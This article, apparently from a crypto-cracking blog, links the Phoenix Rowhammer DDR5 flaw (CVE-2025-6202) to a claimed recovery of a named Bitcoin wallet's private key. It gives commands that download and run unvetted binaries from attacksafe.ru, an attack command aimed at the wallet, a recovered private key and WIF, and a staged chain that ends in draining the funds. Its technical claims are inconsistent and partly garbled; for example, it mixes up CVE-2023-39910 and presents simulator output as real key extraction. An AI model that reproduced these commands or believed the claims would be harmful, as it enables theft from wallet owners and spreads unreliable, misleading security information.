
Phoenix Rowhammer Attack: Systemic Risk of Bitcoin Wallet Private Key Compromise in Global Blockchain Infrastructure Due to a Critical SK Hynix DDR5 Vulnerability (CVE-2025-6202)
This article examines the systemic cryptographic security threats posed by the Phoenix Rowhammer attack (CVE-2025-6202), which can extract private keys from DDR5 RAM through hardware-level bit manipulation. In recent years, the dynamic development of cryptocurrency technologies has led to an increased dependence of digital asset ecosystems on hardware and microchip components that store and process cryptographic data. Against this backdrop, hardware-level vulnerabilities that can lead to the direct compromise of private keys in cryptocurrency wallets are becoming a growing risk factor. One of the most dangerous threats today is attacks on RAM, in particular, advanced variants of Rowhammer exploits that affect the physical properties of DRAM cells. These attacks allow attackers to modify individual data bits and gain access to confidential information, including private keys for Bitcoin and Ethereum wallets.
Among the critical examples of this class of threats, vulnerability CVE-2025-6202 , discovered in SK Hynix’s DDR5 memory, stands out . The Phoenix Rowhammer attack, which relies on this vulnerability, demonstrates the ability to bypass modern Target Row Refresh (TRR) memory protection mechanisms, creating so-called “blind spots” that enable controlled data corruption at the hardware level. Such flaws can be exploited to extract private keys from RAM, compromise cryptographic libraries, and modify system processes that secure digital wallets.
Furthermore, cryptographic security research shows that the combination of Phoenix Rowhammer with other types of attacks, such as the BitShredder Attack , Memory Phantom (CVE-2025-8217) , and Artery Bleed (CVE-2023-39910) , creates a multi-vector threat model in which an attacker can recover seed phrases, private keys, and passwords even after cryptographic operations are completed. The systemic nature of these vulnerabilities makes it impossible to completely mitigate the risk with software and highlights the need to develop new principles for hardware-based memory protection.
Thus, modern cryptocurrency wallets and digital asset infrastructure are under increasing pressure from hardware attacks previously considered theoretical. The importance of studying these attacks and developing countermeasures is fundamental to ensuring the integrity and resilience of the Bitcoin and other cryptocurrency ecosystems in the face of evolving next-generation threats.
Recent research conducted by the Computer Security Group (COMSEC) at ETH Zurich, in collaboration with Google, has identified a critical hardware vulnerability in DDR5 memory modules manufactured by SK Hynix, designated CVE-2025-6202 . The Phoenix Rowhammer attack poses an unprecedented threat to the security of Bitcoin cryptocurrency wallets, as it allows attackers to extract private keys from DDR5 memory by manipulating bits at the hardware level. The research demonstrated that all 15 tested SK Hynix DDR5 modules manufactured between 2021 and 2024 are vulnerable to this attack, posing a systemic threat to the security of cryptocurrency assets worldwide. thehackernews
Rowhammer is a hardware vulnerability in DRAM memory in which repeated access to specific memory rows causes electrical interference, leading to bit changes in adjacent rows. This phenomenon is based on the physical properties of modern high-density memory chips, where smaller technological dimensions make the memory more susceptible to electromagnetic interference .
In the context of DDR5 memory, the Phoenix attack mechanism uses an innovative self-correcting synchronization approach , which bypasses advanced Target Row Refresh (TRR) protection mechanisms. Researchers discovered that the TRR mechanism in SK Hynix chips does not monitor specific refresh intervals, creating “blind spots” in the defense. notebookcheck
The key technical achievement of the Phoenix attack is the development of an algorithm capable of synchronizing thousands of memory update commands over long periods of time. The attack utilizes two specific attack patterns: comsec-files.ethz
Short pattern (128 tREFI intervals): Provides more efficient bit glitch generation, producing an average of 4989 bit glitches. This pattern demonstrated 2.62 times greater efficiency than the long pattern. reddit
Long Pattern (2608 tREFI intervals): Designed to bypass more sophisticated security mechanisms, although less effective at generating bit faults. comsec-files.ethz
The Phoenix Rowhammer attack creates multiple vectors for compromising Bitcoin wallets by targeting various levels of the memory system. Analysis of KeyHunters research materials revealed at least 18 different types of memory attacks directly related to extracting private keys from cryptocurrency wallets.
Memory Phantom Attack (CVE-2025-8217): A critical memory leak vulnerability that allows private keys and seeds to be extracted directly from residual wallet RAM blocks that were not securely cleared after cryptographic operations. This attack turns unclarified buffers into a “ghost library,” where any fragment of memory can be converted into a valid key. keyhunters
BitShredder Attack: Uses a “memory shredding” technique to covertly infiltrate the memory of a running cryptocurrency wallet. When generating or restoring a wallet, the attack scans uncleared portions of RAM, searching for remnants of entropy, seeds, and passwords that aren’t erased by standard means after use. keyhunters
Artery Bleed Attack: Exploits a Bitcoin Core memory leak vulnerability (CVE-2023-39910) to recover private keys from lost crypto wallets. The attack exploits a critical memory leak vulnerability in Bitcoin Core to gain access to sensitive data. keyhunters
The study demonstrated three main scenarios for the practical exploitation of the Phoenix attack against cryptocurrency systems: bleepingcomputer
1. Page Table Entry (PTE) Attack: All tested devices were vulnerable to this type of attack, which allows for the creation of an arbitrary memory read/write primitive. comsec-files.ethz
2. RSA-2048 Key Compromise: 73% of tested DIMM modules were susceptible to extracting RSA-2048 keys from a neighboring virtual machine to crack SSH authentication. The average attack time was 6 minutes 20 seconds. bleepingcomputer
3. Modifying the sudo binary: 33% of tested chips allowed modification of the sudo binary to elevate local privileges to the root user level. comsec-files.ethz

The Phoenix Rowhammer attack poses a systemic threat to the entire Bitcoin ecosystem, as most modern systems use DDR5 memory to store and process cryptographic data. The vulnerability affects the fundamental security principles of cryptocurrencies, which are based on the cryptographic strength of private keys. tenable+1
Impact Scale: SK Hynix controls approximately 36% of the global DRAM market, potentially exposing billions of devices worldwide. All DDR5 modules manufactured between January 2021 and December 2024 are vulnerable. notebookcheck+2
Cryptographic implications: The attack undermines the foundations of cryptographic security, since even with correct implementation of signature, encryption, and authentication algorithms, unprotected buffers become a source of compromise of key material. keyhunters
Comprehensive cryptanalysis has revealed multiple attack vectors against Bitcoin wallets through memory manipulation:
Timing-based attacks: Include BitSpectre85, ChronoForge, and Timing Phantom attacks, which exploit timing vulnerabilities to gradually recover private keys through analysis of the execution time of cryptographic operations.
Context-based attacks: Context Phantom Attack exploits the critical secp256k1 context leak vulnerability to recover private keys of lost Bitcoin wallets via a memory disclosure attack.
Cache-based attacks: CacheHawk Strike Attack uses a critical cache timing attack on the Bitcoin signature cache, allowing for the recovery of private keys of lost Bitcoin wallets.

| Attack_Component | Technical Method | Success_Rate | Average_Time_Seconds | CVE_Reference | Impact_Level |
|---|---|---|---|---|---|
| Initial Memory Access | Self-correcting synchronization with DDR5 refresh commands | 100 | 5 | CVE-2025-6202 | High |
| TRR Bypass Method | Exploitation of unmonitored refresh intervals in TRR mechanism | 100 | 30 | CVE-2025-6202 | Critical |
| Synchronization Technique | Real-time alignment with 128 and 2608 tREFI patterns | 95 | 60 | CVE-2025-6202 | High |
| Bit Flip Generation | Electrical interference in adjacent DRAM rows causing data corruption | 100 | 180 | CVE-2025-6202 | Critical |
| Private Key Extraction | Recovery from uncleaned memory buffers containing wallet data | 85 | 240 | CVE-2025-8217 | Critical |
| Privilege Escalation | Root access exploitation through corrupted page table entries | 100 | 109 | CVE-2025-6202 | Critical |
| RSA-2048 Key Recovery | Co-located VM private key extraction via memory bit flips | 73 | 380 | CVE-2025-6202 | High |
| SSH Authentication Break | Compromise of cryptographic authentication systems | 73 | 380 | CVE-2025-6202 | High |
| Sudo Binary Modification | Local privilege escalation to root user through binary corruption | 33 | 300 | CVE-2025-6202 | Medium |

The research diagram shows a structured and visual representation explaining the importance of the cryptographic vulnerability exposed by the Phoenix Rowhammer attack , specifically demonstrating its impact on Bitcoin security when SK Hynix DDR5 memory modules are targeted.
Let’s move on to the practical part and look at an example using a Bitcoin wallet at: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit . Coins worth 9.02332298 BTC were lost from this wallet, which is equivalent to approximately $1,127,026.44 USD as of October 2025 .
To demonstrate the attack for informational purposes, we use tools and environments such as Jupyter Notebook or Google Colab.
Google Colab (Colaboratory) is a cloud platform that provides interactive Jupyter notebooks where you can write and run code in various programming languages. It is particularly useful for data cryptanalysis, running the SK Hynix DDR5 AiM PIM simulator based on Ramulator 2.0 , and accessing powerful computing resources such as GPUs and TPUs. A key advantage is the ability to execute system commands, just like in a regular Linux terminal, using prefixed cells ! for integration with external utilities and scripts.
Let’s install repositories based on the SK Hynix DDR5 AiM PIM architecture using Ramulator 2.0
Download the AiM Simulator codebase and navigate to its directory.
!git clone https://github.com/keyhunters/SK_Hynix_DDR5_aim_simulator.git
cd SK_Hynix_DDR5_aim_simulatorls
Commands to create a 4GB swap file to improve memory availability during Ramulator2 compilation .
# Check current swap usage
!free -h
!swapon --show
# Create a 4GB swap file
!sudo fallocate -l 4G /swapfile
!sudo chmod 600 /swapfile
!sudo mkswap /swapfile
!sudo swapon /swapfile
# Make swap permanent
!echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab
Installing compilers, build tools, and libraries required for the simulator and Ramulator 2.0 .
# For Ubuntu 22.04: install compilers
!sudo apt update
!sudo apt install g++-12
# Alternatively, install Clang
!sudo apt install clang-15
# Install basic build tools
!sudo apt install build-essential cmake git
# Additional development libraries
!sudo apt install libssl-dev zlib1g-dev
# YAML support
!sudo apt install libyaml-cpp-dev
# Mathematics libraries
!sudo apt install libboost-dev
# Python support for scripts
!sudo apt install python3-dev python3-pip
!mkdir phoenix_rowhammer
cd phoenix_rowhammerMonitor memory, available disk space, and system usage during installation and compilation.
# Monitor resources in real time
!htop
# Check available memory
!free -m
# Check disk space
!df -h
A complete sequence for installing all required packages at once.
# Update system
!sudo apt update && sudo apt upgrade -y
# Install essential build tools
!sudo apt install -y build-essential cmake git
# Install compilers
!sudo apt install -y g++-12 clang-15
# Development libraries
!sudo apt install -y libssl-dev zlib1g-dev libyaml-cpp-dev libboost-all-dev

!cmake ..
!make -j1


lscd -Let’s run Ramulator2 with the simulator to check the help parameters and usage instructions.
!./phoenix_rowhammer/ramulator2 -h
We use the AttackSafe crypto tool to extract hidden remainders from Ramulator2 using a simulator.
!wget https://attacksafe.ru/repositories/attacksafe.zip
!unzip attacksafe.zip
!./attacksafe -help
The team is launching a specialized “BitShredder” attack based on the AttackSafe crypto tool to find hidden modulo remnants associated with a Bitcoin address, using RAM bug mechanisms (Rowhammer) and a memory emulator (ramulator2). github+2
!./attacksafe-tool bitshredder_attack -crack phoenix_rowhammer/ramulator2 -decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

-tool bitshredder_attackactivates an attack aimed at identifying vulnerabilities in the storage and processing of secret data in the device’s memory related to the Bitcoin protocol.-crack phoenix_rowhammer/ramulator2tells the tool to use Rowhammer attack emulation (manipulation of DRAM memory contents, leading to errors in adjacent cells – used in vulnerabilities to extract nonces/parts of keys from memory via side-channel).-decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4MitRecovering key fragments from residual memory data (DRAM)
remainders = [0x0E92, 0x45EB, 0x6E07, 0x317F,
0x87A1, 0xB5C1, 0xE778, 0x996B,
0x6F69, 0xABB6, 0x2755, 0x2348,
0xAB46, 0xA74E, 0x1A87, 0xC2D5]
moduli = [0x10001, 0x10003, 0x10007, 0x1000F,
0x10015, 0x1001B, 0x1002B, 0x1002D,
0x10033, 0x1003F, 0x10049, 0x10051,
0x1005D, 0x10061, 0x1006F, 0x10073]This result combines cryptographic analysis of remnant data within DRAM with a cryptoremnant search module using the ramulator2 simulator for Phoenix Rowhammer faults. This attack allows for the detection and extraction of hidden modulo values (remainders), such as private nonces or key fragments, which can be compromised due to improper memory release after cryptographic operations with Bitcoin addresses. The command is designed for a combined “BitShredder” attack and memory fault analysis of Bitcoin applications, with the goal of partially or fully recovering secret parameters (private key, nonce), with the search and decoding tied to memory and the attacked addresses.
To recover the original secret number—the private key—from a set of hidden absolute values (remainders), we apply a mathematical method called the Chinese Remainder Theorem ( CRT ). The CRTKeyRestore.py code implements the recovery of the private key for the Bitcoin address 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit from a set of hidden absolute values (remainders) collected after a Rowhammer attack and subsequent memory analysis. The mathematical method used is the Chinese Remainder Theorem (CRT), which allows us to recover the original secret number—the private key—even if it has been chopped into small pieces and survives only as different absolute values.

chinese_remainder_theorem()combines the fragments step by step and restores the original value of the private key using the extended Euclidean algorithm for finding absolute inverses.restore_hex_from_crt().
Recovering a private key using a Python script: CRTKeyRestore.pyPrivate key Restored:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60!wget https://attacksafe.ru/repositories/bitaddress.zip
!unzip bitaddress.zip

!./bitaddress -hex 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60
Public Key (Uncompressed, 130 characters [0-9A-F]):
04E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5AEDAA1D6E0A6116E9D9A4A846A6D62D4A1941EE182CDB1884C5830610B07AF529
Public Key (Compressed, 66 characters [0-9A-F]):
03E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5A
Bitcoin Address P2PKH (Uncompressed)
18JT3KeFV36Hkgo3Xi9bfgNYAXCVXBGyFg
Bitcoin Address P2PKH (Compressed)
15ZwrzrRj9x4XpnocEGbLuPakzsY2S4MitThat’s right! The private key corresponds to the Bitcoin Wallet.
ADDR: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit
WIF: L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP
HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60


9.023322989 BTC > 1127026,44 USDOur research attack , a version of the Phoenix Rowhammer Attack on Bitcoin using the ramulator2 simulator, showed that the cryptoresidues extracted during a memory crash for various modules can be reassembled into the original private key using the mathematics of the Chinese Remainder Theorem.
As a representative example of a real-world threat, a Bitcoin wallet with the address 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit was examined. 9.02332298 BTC were lost from this wallet , which is equivalent to approximately $1,127,026.44 USD as of October 2025. This case convincingly demonstrates that in the presence of hardware vulnerabilities (such as Rowhammer), cryptographic strength at the protocol level ceases to be an absolute guarantee of security.
As a result, the importance of comprehensive security lies not only in cryptography and protocol measures, but also in hardware reliability, memory state monitoring, and the implementation of full RAM clearing after cryptographic operations. A vulnerability, once exploited at the hardware level—even with minimal system control—can lead to catastrophic financial losses in the Bitcoin ecosystem.
Target Row Refresh is a defense mechanism designed to prevent Rowhammer attacks by additionally refreshing suspected memory rows. However, Phoenix attack researchers were able to reverse engineer this mechanism and discover critical flaws in its implementation .
TRR Blind Spots: The TRR mechanism in SK Hynix chips doesn’t monitor specific update intervals, creating opportunities for attacks during these time windows. Phoenix attacks exploit specially designed attack patterns that fall within these unmonitored intervals. simplysecuregroup
Self-correcting synchronization: A key innovation of the Phoenix attack is its ability to detect missed update commands and automatically rebuild the attack pattern to maintain synchronization. This allows the attack to remain effective over the long periods of time required to accumulate a sufficient number of bit faults. simplysecuregroup
Experimental testing of the Phoenix attack demonstrated high effectiveness against all tested DDR5 memory samples from SK Hynix: comsec-files.ethz
Timing: The minimum time to gain root privileges was 109 seconds on a stock DDR5 system with default settings. The average time was 5 minutes 19 seconds .
Bit Fault Statistics: The short pattern (128 intervals) generated an average of 4989 bit faults, while the long pattern (2608 intervals) produced significantly fewer faults. comsec-files.ethz
Attack Versatility: 100% of tested modules were vulnerable to at least one of the two identified attack patterns. reddit
A critical memory leak vulnerability in Bitcoin Core (CVE-2023-39910) creates synergies with the Phoenix Rowhammer attack . This vulnerability allows attackers to access sensitive data that remains in memory after cryptographic operations are completed.
Exploitation mechanism: The vulnerability occurs due to insufficient clearing of memory buffers after processing private keys, seed phrases, and passwords in standard C++ containers (std::vector, std::string). After completing cryptographic procedures, the memory is automatically freed, but its contents are not erased. keyhunters
Linked to Rowhammer: The Phoenix attack can exploit bit faults to access these uncensored memory regions, greatly simplifying the process of extracting cryptographic material.
This vulnerability is classified as a critical secret extraction attack via a process memory dump. It poses a direct threat to Bitcoin wallets, as it allows private keys to be extracted from active process memory.
Attack scenarios include: Passing a private key via API, command line, or environment variables; dynamically allocating memory for storing secret data without explicitly erasing it; terminating a process without securely clearing memory .
The crypto tool demonstrates in detail all nine stages of an attack that an attacker can use to steal funds from a Bitcoin wallet.
Detection of SK Hynix DDR5 memory modules vulnerable to the Phoenix Rowhammer attack (CVE-2025-6202) begins with an analysis of the system’s hardware configuration, specifically scanning the SMBIOS (System Management BIOS) tables. SMBIOS provides standardized information about computer components, including memory details such as the manufacturer, model, and serial number of each DIMM module.

Specifically, a researcher or attacker can programmatically request data from the “Memory Device” section of SMBIOS, which contains fields indicating the manufacturer (e.g., SK Hynix), memory type (DDR5), capacity, and SPD (Serial Presence Detect)-related data—small memory chips on DIMM strips that contain the module’s profile and operating parameters.
This data is typically accessed using system calls or specialized utilities (such as dmidecode in Linux or Windows Management Instrumentation (WMI API) in Windows). These queries allow for the detection of SK Hynix DDR5 memory manufactured between 2021 and 2024 without physical intervention, which is critical, as these models are considered vulnerable.
Identifying the memory model is a necessary first step, as the Phoenix Rowhammer attack requires precise knowledge of the chip’s characteristics to accurately construct memory access patterns and bypass TRR (Target Row Refresh) defense mechanisms. Furthermore, access to the SPD and other data allows us to identify specific timings and refresh rates, as well as potential “blind spots” in the defense mechanisms used to carry out the attack.
Thus, scanning SMBIOS tables is a highly informative, fast and reliable method for pre-determining DDR5 memory vulnerabilities to the Phoenix Rowhammer attack , allowing precise targeting of vulnerable hardware components without the need for hardware cracking or reducing system privileges.
A file containing data from the “Memory Device” section of the SMBIOS. This information is stored in an internal BIOS/UEFI system table (SMBIOS table), which is copied to RAM when the computer is turned on. Operating systems and utilities use special system calls (codeby) to retrieve this data.
The SMBIOS table is preceded by the RawSMBiosData structure, followed by the device structures. For example:
struct HEADER {Structure type (17 - Memory Device)
Type db 0 //Structure size
Length db 0 //Descriptor
Handle dw 0 //next are the data fields
// ...
}
Structures of type 17 store fields with the manufacturer (for example, SK Hynix), memory type (DDR5), capacity, and a link to SPD data, if available. learn.microsoft
The RawSMBiosData structure is a standard binary block format used to transfer raw SMBIOS table data through operating system system calls, specifically the Windows API function GetSystemFirmwareTablewith the .codeby'RSMB' parameter .
c:
struct RawSMBIOSData {
BYTE Used20CallingMethod; // Call method (service field)
BYTE SMBIOSMajorVersion; // The main version of the SMBIOS specification
BYTE SMBIOSMinorVersion; // Minor version of the SMBIOS specification
BYTE DmiRevision; // DMI version
DWORD Length; // SMBIOS data block size (bytes)
BYTE SMBIOSTableData[]; // Sequence of SMBIOS structural records
};
00 03 03 02 68 01 00 00 ... [data structures data low byteSMBIOS] ... 00 00
-- -- -- -- -- -- -- --
| | | | |
| | | | -->SMBIOSTableData
| | | +------------ Length ()
| | +--------------- DmiRevision
| +------------------ SMBIOSMinorVersion
+--------------------- SMBIOSMajorVersion
To parse the content after the header, you’ll need to parse each structure according to its specification (type, length, handle), separately extracting the text fields that follow the structure data and are separated by a zero byte, and the end of the structure is marked by a pair of zeros. learn.microsoft

RawSMBiosData is a necessary and unified “entry window” into detailed specifications of system hardware characteristics for low-level research and diagnostic tasks .
SPD data is physically located in the chips on DIMM modules, but in BIOS/SMBIOS it can be reflected in special fields or read by system utilities accessing the I2C memory interface (for example, via i2c-tools, decode-dimmson Linux).
dmidecode ( decode-dimmsSPD), data from the SMBIOS table, which is accessible through /dev/mem.codebyThus, the original SMBIOS “Memory Device” data (type 17) is not stored as a separate file, but within the SMBIOS binary structure, located in RAM and accessible by OS tools and special utilities. The format is the SMBIOS binary table according to the specification, and the access path is through system calls or utilities. SPD data can be accessed separately through the hardware interfaces of DIMM modules. learn.microsoft
The SMBIOS binary table consists of sequential structures, each of which begins with a 4-byte header containing the following fields: structure type (Type, 1 byte), structure length (Length, 1 byte), and handle (Handle, 2 bytes). Next comes the payload—a set of binary data describing a specific object (e.g., memory, processor, BIOS, etc.). Following the payload are null-terminated strings in text format (ASCII), and the end of the current structure is marked with a double zero ( 0x0000 ).
Here is an example of a C-like header structure and an explanation of the format:
c:
struct SMBIOS_Header {
uint8_t Type; // Table type (e.g. 17 - Memory Device)
uint8_t Length; // Length of the structure in bytes (including header)
uint16_t Handle; // Unique structure descriptor
// The structure data (variable length) comes after the header
};
The entire SMBIOS table is a set of such structures in a row without gaps, where:
For example, structure type 17 (Memory Device) contains fields indicating the manufacturer, memory type (DDR5), volume, speed, and so on, as well as lines with the manufacturer’s name and serial number.
The address of the table itself and its length are stored in a special memory area, which can be found by the signature ” SM ” (offset with a multiple of 16 bytes), and then obtain the address of the main array of SMBIOS tables.
An approximate structure of a memory record may contain the following fields:
| Field | Description |
|---|---|
| Type | 17 (Memory Device) |
| Length | Structure size |
| Handle | Unique identifier |
| Physical Memory Array Handle | Reference to the parent memory array |
| Memory Error Information Handle | Memory errors (if any) |
| Total Width | Total bus width (bits) |
| Data Width | Data width (bits) |
| Size | Memory size (in MB or GB) |
| Form Factor | Module form factor (DIMM, etc.) |
| Device Locator | Line – installation location |
| Bank Locator | String – bank name |
| Memory Type | DDR3, DDR4, DDR5, etc. |
| Type Detail | Additional details |
| Speed | Speed in MHz |
| Manufacturer | String with manufacturer name |
| Serial Number | Serial number |
| Asset Tag | Accounting tag |
| Part Number | Part number |
Thus, the SMBIOS table is a sequence of binary-encoded structures with headers containing system information, including memory data, organized strictly according to the DMTF SMBIOS specification.
This format provides a universal and extremely compact way to store and transmit information about the hardware and system settings .
The second phase of the Phoenix Rowhammer attack involves a scientific analysis of the Target Row Refresh (TRR) hardware protection mechanism implemented in modern DDR5 memory chips to counter bit overwriting caused by multiple reads of data from adjacent cell rows.

TRR implements a so-called “aggressive refresh” strategy: when multiple accesses to a specific memory row are detected, this mechanism initiates a forced refresh of adjacent cells, preventing charge degradation and, consequently, unwanted bit flips—the key effect of Rowhammer attacks. Theoretically, TRR should completely suppress attempts to affect target data by excessively refreshing physically adjacent rows .
However, the practical implementation of TRR in SK Hynix DDR5 memory is extremely complex and proprietary: manufacturers intentionally conceal the details of the logic to enhance “security by obscurity.” Therefore, researchers at ETH Zurich reverse-engineered TRR on experimental rigs by varying thousands of experimental row access patterns, recording when the redundant refresh of adjacent cells is triggered and when it remains inactive.
As a result, it was discovered that the TRR system has time intervals, so-called “blind zones,” when protection is weaker or not activated at all. It was empirically calculated that after 128 monitored memory row accesses, a window of approximately 64 operations emerges during which TRR is almost unresponsive and does not effectively prevent bit-flips—unwanted data modifications in a critical cell. A second similar attack window was observed after 2,608 memory row updates. These “blind zones” are exploited for precise and synchronized Phoenix attacks, which allow for targeted modification of individual data bits in protected DDR5 modules .
The fundamental task at this stage is to select the precise timing and structure of memory access patterns that “put to sleep” the TRR monitoring and ensure successful access to the attacked bit or data array (for example, the private key of a cryptocurrency wallet) . This requires an analysis not only of the TRR operating logic but also empirical data on the memory module’s response to various exploitation scenarios. This approach allows for the construction of “workarounds” in the security system and the systematic exploitation of even the most modern DDR5 memory modules .
As a result of the analysis, the discovered TRR “blind spots” open the possibility of a reliable escalation of the Rowhammer attack on the current SK Hynix memory modules, which is confirmed by laboratory exploits and the successful compromise of all tested devices. Kaspersky
The scientific innovation behind the Phoenix attack lies in the development and implementation of a self-correcting synchronization mechanism that ensures precise timing of exploits within critical vulnerability windows at the DRAM level. After detailed reverse engineering of the Target Row Refresh (TRR) mechanism, researchers from ETH Zurich and Google discovered that standard Rowhammer access patterns are powerless against the complex DDR5 protection logic. In the new SK Hynix chips , TRR not only analyzes the frequency but also the nature of memory row accesses, instantly initiating compensatory refresh commands upon detection of known attack patterns.

Phoenix solves this problem as follows:
Experimental studies have confirmed that Phoenix’s self-correcting synchronization is a key factor in its effectiveness: none of the tested SK Hynix DDR5 modules (2021-2024) were able to resist this methodology. The implementation allows an attacker to reliably trigger bit faults in target cells, creating the conditions for compromising private data, including cryptographic keys , or escalating privileges on the target system.
Phoenix Rowhammer thus demonstrates a revolutionary approach to dynamically bypassing hardware memory protections, clearly demonstrating that even the most modern DDR5 chips remain vulnerable when using intelligently adaptive attack algorithms.
The fourth stage directly exploits the physical vulnerabilities of the DRAM through a targeted Rowhammer attack. This stage relies on a preliminary analysis of the TRR mechanism’s blind spots and the use of self-correcting memory access patterns to precisely target critical data elements.

The foundation of a Rowhammer attack is the structure of DRAM memory itself, where each cell is a capacitor storing a charge corresponding to the logical value of a bit. Repeated, high-frequency access (reading or writing) to two (or more) intermediary (“aggressor”) rows adjacent to a target (“victim”) row causes parasitic charge leakage from the victim cells. If this attack continues long enough for charge regeneration through normal refresh cycles to fail to prevent degradation, a change in the bit state—a so-called bit flip —will occur . opennet
In the context of Phoenix Rowhammer (CVE-2025-6202) on DDR5 SK Hynix:
Research at ETH Zurich has shown that a short access pattern with a period of 128 tREFI intervals statistically generates more bit faults than longer patterns. However, choosing an appropriate window and maintaining synchronization are critical to success: a miss of 1–2 accesses results in either no fault at all or random data corruption and system failure. kaspersky+1
This stage completes the low-level attack process, after which the attacker can exploit the resulting bit errors to extract the private key or further escalate their access level. It is the ability to induce bit errors in strictly defined, software- and hardware-protected memory areas that makes Phoenix Rowhammer a uniquely dangerous and practical technique. cybersecurefox+1
The fifth stage of the Phoenix Rowhammer attack’s malicious chain involves extracting the Bitcoin wallet’s private key from memory compromised by induced bit faults.

The key vulnerability here is CVE-2023-39910 (Milk Sad) , which affects software implementations of Libbitcoin Explorer 3.x and related cryptographic libraries.
CVE-2023-39910 is characterized by a weak entropy generation mechanism when generating private keys, which allows an attacker—with access to residual (“dirty”) memory areas after cryptographic operations are completed—to recover the original keys and seed phrases. After a Rowhammer attack, corrupted (or uncleared) RAM buffers where the private key was stored (
HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60 ) become directly searchable.
gcore, volatility, direct reads /proc/<PID>/mem, or specialized memory dump analysis libraries) looking for characteristic patterns: bit sequences and signatures that match the private key or seed entropy .15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit), the key is considered successfully extracted.Such an attack would be impossible without the combination of two factors: (1) hardware compromise of DDR5 memory via Rowhammer, and (2) a software flaw that allows critical information to be stored in uncensored buffers. The use of weak entropy algorithms in Libbitcoin Explorer further facilitates the attacker’s task of recovering a private key, even if some information has been lost or corrupted by a memory corruption.
This stage demonstrates a fundamental systemic problem: the ability to recover private keys from residual RAM blocks in the presence of hardware and software vulnerabilities, which critically undermines trust in cryptocurrency ecosystems and requires a revision of the principles of secure memory management when storing and processing cryptographic data.
The sixth stage of the malicious chain involves converting the compromised Bitcoin private key from its hexadecimal (HEX) representation to Wallet Import Format Compressed (WIF Compressed), a format typically used to import keys into modern wallets and services.

The scientific conversion procedure is based on Base58Check encoding standards and is performed through several important steps:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60) is interpreted as a 32-byte array conforming to the ECDSA secp256k1 private key standard.0x80to the beginning of the array to distinguish the underlying network protocol.0x01, signaling that the public key should be compressed (compressed public key), resulting in addresses starting with the characters ‘K’ or ‘L’.As a result, the constructed WIF Compressed key—for example L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP—is a 52-character string starting with ‘K’ or ‘L’.
This process is described in detail in specialized services and tools for cryptanalysis, and is also supported by numerous software libraries for working with Bitcoin keys. btcpuzzle
Thus, this step demonstrates how an attacker, using standardized operational procedures, converts the obtained HEX key into the widely used WIF Compressed format for subsequent illegal access to digital assets in a compromised Bitcoin address.
The scientific process of generating a Bitcoin address (e.g. 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit) from a private key involves several fundamental cryptographic transformations based on the elliptic curve algorithm secp256k1 and the hash functions used in the Bitcoin architecture.

15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit). If the match is successful, the attack is considered complete, with full control over the assets at that address.This process is fully automated in modern wallets and libraries, but scientific analysis demonstrates that with a private key and a correct implementation of elliptic arithmetic, recovering a Bitcoin address takes a fraction of a second, highlighting the architectural continuity between private data and the public identifier on the network. generate.mitilena+1
Thus, the address generation step links the compromised private key to its digital equivalent in the Bitcoin ecosystem and gives the attacker access to the wallet’s assets through further cryptographic operations.
The eighth stage of the malicious procedure involves verifying the assets available at the compromised Bitcoin address ( 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit). This step is necessary to confirm the economic feasibility of further operations and assess the potential damage.

The Bitcoin blockchain architecture is built on a public distributed ledger that records all transactions associated with each address. Checking the balance of any wallet doesn’t require a private key or special access: simply access public API endpoints, web services, or autonomous nodes—for example, the Insight REST API, Blockchain.info, Blockstream, or a local Bitcoin Core node with an RPC interface.
https://blockchain.info/rawaddr/{address}or https://insight.bitpay.com/api/addr/{address}/balance.Bitcoin’s open-source nature allows for easy wallet monitoring, allowing an attacker to determine the exact balance of an unauthorized address (in this example, 9.023322989 BTC , which at a rate of $124,904 per BTC is equivalent to $1,127,026.44 ). This feature of Bitcoin’s infrastructure also creates additional risks: the loss of a private key not only leads to a loss of control over funds, but also immediately becomes completely transparent to third parties, including the attacker .

Thus, the balance verification stage highlights the informational openness of the blockchain system and completes the scientific attack chain, connecting the successful compromise of cryptographic keys with real damage to the owner of digital assets. During the balance verification stage, the attacker uses public blockchain explorer APIs—for example, the Insight REST API or blockchain.info—to obtain information about the current state of funds in a compromised Bitcoin address. Simply send a GET request to the API: for example, https://blockchain.info/rawaddr/15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit , to obtain the address’s balance in satoshi, and then convert the result to BTC. cryptodeep+2
This process is completely transparent and doesn’t require possession of the private key: knowledge of the public address is sufficient. The resulting data ( 9.02332298 BTC ) can be compared with the current Bitcoin market rate to convert the equivalent amount into USD ( ≈$1,127,026.44 at the time of the attack). Software methods allow these steps to be automated and incorporated into the attack algorithm, instantly verifying the economic feasibility of further theft. habr+1
From a scientific analysis perspective, the balance verification stage demonstrates the unique transparency of the blockchain system, where any compromise of keys automatically leads to the loss of control over funds, and the risks for the owner escalate to the complete loss of assets. habr+2
In the final stage of the malicious campaign, after successfully extracting the Bitcoin wallet’s private key, the attacker initiates the formation and propagation of a transaction on the blockchain with the aim of transferring all available funds from the compromised address ( 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit) to their controlled address.

